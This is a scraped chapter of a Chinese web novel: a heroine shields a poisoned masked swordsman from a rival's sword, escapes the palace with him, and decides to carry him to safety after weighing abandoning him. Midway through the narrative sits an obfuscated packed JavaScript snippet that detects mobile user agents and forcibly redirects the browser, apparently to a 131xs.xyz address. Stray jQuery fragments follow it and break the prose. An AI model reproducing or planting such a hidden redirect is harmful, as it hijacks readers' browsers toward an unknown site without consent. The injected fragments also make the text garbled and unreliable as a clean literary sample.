场面实在是太过混乱，沐毓露趁众人的注意力都放在了三州堇璱与风问棠的身上，便连穆衾寒也没有朝她的方向投来目光，赶紧悄悄地往后退，悄无声息地从侧门溜了出去，然后迎着夜风朝御花园跑去。


    看方才两人交起手来不死不休的架势，风问棠一定会趁三州堇璱虚弱之际一剑杀了他。


    可是她不想他死。


    急促的脚步声在鹅卵石小径响起，两道身影快速地在假山花丛之间穿梭。


    三州堇璱轻功卓绝，身形仍旧飘逸，只不过他的呼吸明显变得急促了许多，每一次纵跃都不如之前那般轻松，落地时甚至还有一些轻微的踉跄。


    风问棠则死死黏住三州堇璱，不给他一点喘息之机，每一剑都朝着致命处刺去。


    三州堇璱强忍住毒发时在经脉中肆虐的寒意，如风中残烛般向后飘退，长剑斜撩，试图以巧劲化解风问棠的剑势。


    然而风问棠的攻势太猛，一记又一记凶狠的斜劈直扫三州堇璱腰际，这根本不是只以巧劲化解得了的。


    两剑相撞，火星四溅，三州堇璱只觉得一股巨力传来，震得他手臂发麻，本就凝滞的内息更是一阵翻涌。


    他眼前阵阵发黑，脚下连退数步，后背重重地撞在冰凉的汉白玉栏杆上，这才勉强稳住身形。


    鲜血再次溢出嘴角，滴落在了他浅粉色的衣襟上，他抬手捂住胸口，又呕出一口血来。


    风问棠在下一秒将手中长剑抵在了他的心口上。


    三州堇璱抬眼看他：“出手这么狠，你就这么恨我？”


    风问棠没有回答他，只是将手中的剑往前移动了一寸，剑尖刺入他的胸膛，很快有鲜血溢了出来。


    三州堇璱抬起手用力地握住剑刃，阻止它继续向前，“你比那三皇子还想杀我，我很好奇到底是为什么？”


    “还有力气说话，看来是伤得不够重。”风问棠终于开口说话，他用力将剑往后一拔，将三州堇璱的手掌划出一道深可见骨的伤痕，然后再次挥剑朝前刺出。


    在这千钧一发之际，沐毓露及时赶到，她来不及出声制止风问棠，猛地从湖边假山背后扑了出来，毫不犹豫张开双臂，用自己的身体挡住了风问棠刺出的剑。


    风问棠陡然一惊，手中的剑在距离沐毓露不足半尺的地方硬生生顿住。


    她没有回头去看风问棠，而是保持着方才的姿势，用自己的身体护住三州堇璱。


    抬手抚上他胸膛处仍在不断往外渗血的伤口，她感到掌心传来一阵冰凉黏腻。


    沐毓露微微一愣。


    为什么？


    为什么他流出来的血不是滚烫的，而会带着寒意？


    风问棠持剑站在原地，蹙眉注视着眼前这一幕，想要劝沐毓露离开，喉结酸涩地滚动了一下，却怎么也张不了口。


    三州堇璱自然注意到了风问棠的迟疑，他抓住这个机会，强压下几乎要吞噬他的神智的寒毒剧痛，闷哼一声，一把揽住了沐毓露微微颤抖着的腰肢。


    “抱紧我。”三州堇璱的声音低沉急促，话音还没有落地，沐毓露便感到一阵大力从腰际传来，身体被瞬间带入一个带着浓烈血腥气的怀抱。


    下一秒耳畔传来呼啸的风声，她下意识抬起手臂紧紧环住三州堇璱的脖颈，将脸埋在他坚实的肩头。


    便是趁风问棠犹疑的这一瞬，三州堇璱带着她以极快的速度朝宫墙外飞去。


    被三州堇璱紧紧揽在怀里的沐毓露此刻只觉得天旋地转，耳畔风声呼啸犹如鬼哭，下方的宫阙殿宇如同模糊的幻影飞速倒退。


    她不由回想起这一世第一次与三州堇璱相见时的场景，想起三州堇璱毫不犹豫松手，把她从空中扔下去的瞬间。


    于是她瑟瑟发抖地往他的怀里钻，八爪鱼似的紧紧搂住他。


    三州堇璱注意到了沐毓露的紧张，不知道他是不是也想起了与她初见时的场景，犹豫了片刻，他用一只手紧紧地护住了她的脑袋，将她的头往自己的胸膛上靠。


    刚一靠近沐毓露便感受到了他胸膛剧烈的起伏，甚至听见了他带着血腥味的沉重喘息。


    冰冷的汗水浸透了他肩头的衣料，那寒毒正在他五脏六腑间游走，冰凉的寒意隔着衣衫都能让沐毓露感到心惊。


    “你……”沐毓露刚想开口询问，却被灌入口中的疾风呛住。


    三州堇璱没有低头看她，此刻他所有的注意力都集中在这场逃亡之上。所幸今晚大部分的御林军都被穆衾寒调走，被大殿中的混乱所牵制，三州堇璱带着沐毓露掠过重重宫墙，就这样一路畅通无阻地冲出了皇城。


    京都的街道在脚下展开，没有了宫殿的灯火，夜色变得更加深沉。


    离宫之后，三州堇璱的速度终于不可避免地慢了下来，每一次纵跃都显得异常沉重，就连身形也开始摇晃。


    他强撑着又飞掠了一段距离，直到离沐府还有两条街道时，终于支撑不住，抱着沐毓露拐进了一个小巷，重重地坠落在了地上。落地的瞬间他下意识将沐毓露护在怀中，用自己的后背承受了大部分的冲击力。


    大口大口的鲜血伴随着剧烈的咳嗽从三州堇璱口中涌出，染红了身下的碎石，也染红了他胸前的衣襟。


    沐毓露从他的怀中挣脱出来，顾不上自己的狼狈，慌忙扶住他冰冷颤抖的身体。见他如此痛苦，似乎已经有些呼吸不上，她下意识抬手想要帮他摘下面具。


    却被他一把拦住。


    沐毓露是真的没有想到，都已经到这种关头了，他居然还如此防备着，不许她摘下他的面具。


    他紧紧抓住她的手腕，声音微弱得几乎要被夜风吹散：“我体内寒毒发作，没办法运行内力，别管我了，你走……回家去……”


    他们都很清楚，虽然已经逃出了皇宫，但是危机还远远没有解除。


    三皇子的追兵此刻肯定也已出宫，而三州堇璱已经是强弩之末，他没有力气继续往外逃出京城。


    对于沐毓露来说，躲回沐府就是此时最好的选择。


    三州堇璱的意识已经有些昏沉，此刻他躺在沐毓露怀里艰难地喘息着，是她从未见过的脆弱模样。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541712|183723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她犹豫了几秒，在这短短的几秒钟里她的内心天人交战。


    见到他毒发的时候她心里的恐慌其实已经战胜了理智，那一瞬间她的确是想扔下他独自逃跑的。


    方才她之所以敢用自己的身体护住他，是因为她知道风问棠无论如何都不会伤害她，所以她才能生出那样的勇气，在风问棠挥剑刺向他的时候不管不顾地扑过来。


    可是此刻追杀他们的是三皇子的人，他们才不会管她是谁，恐怕会在捉拿三州堇璱的时候顺便一刀把她给砍了。


    她已经死过一次，却并没有因此消解对死亡的恐惧，也许是前世实在死得太惨，如今重活一世的她比从前还要畏惧死亡。


    她的确不想他死，可若是自己付出生命的代价也不一定救得下她，那她便要重新考虑一下了其中的利害得失了。


    方才见到她和三州堇璱一起离开的人只有风问棠，除此之外谁也不知道她去了哪里，她可以肯定风问棠一定不会出卖她，此刻她只需要扔下三州堇璱独自回府，便算是与这个刺杀皇子的刺客撇清了关系。


    这件事情说到底是朱雀皇室的内斗，跟她一点关系都没有，她何苦要把自己搭进去？


    就在她已经快要说服自己丢下三州堇璱独自离开的时候，脑海里突然响起了一道微弱的声音，那声音虽小却很坚定。


    是她自己在告诉自己，他曾经救过她，在她被所有人唾骂厌弃的上一世，他是唯一一个向坠入深渊的她伸出手来的人。


    真的要在这种时候抛下他么？


    沐毓露急得红了眼睛，眼泪断线珠子一般往下掉。


    她随即又想，前世他的确救她于危难，但对于他来说那不过是举手之劳，他从那群土匪手中救下她，甚至没有弄脏他的一角衣袍。


    但此刻她若是想要报恩，想要救他一条性命，那可是要搭上她自己的一条命。


    最关键的是即便如此也未必救得下他。


    值得吗？


    这显然是很不划算的。


    做下抛弃三州堇璱这个决定固然是艰难且痛苦的，但沐毓露胜在心态好，她不停地开导着自己，就当她是跟在沐玉罡身边耳濡目染学坏了吧。


    反正她也从来不是什么好人。


    做生意尚且要权衡利弊，得不偿失的事情不能做，何况眼前这档子事儿绝非生意场上的事情可比，一不小心赔进去的可是一条小命。


    就算三州堇璱前世救过她，她刚才替他挡了一剑，从前的救命之恩已算是还了，她不欠他什么。


    把心一横，咬了咬牙，她最后低头望了三州堇璱一眼。


    见到他虚弱地躺在自己怀里，像是一朵枝头的花被狂风骤雨打进了泥土地里，全然没有了从前飘逸若仙的模样，沐毓露心中一痛。


    她不断地在心里对他说着对不起。


    抬起手颤颤巍巍地将他从自己怀里挪开。


    双手触碰到他冰凉的身体的那一刻，她整个人都跟着颤了颤。


    下一秒，她背着三州堇璱摇摇晃晃地从巷子里跑了出来。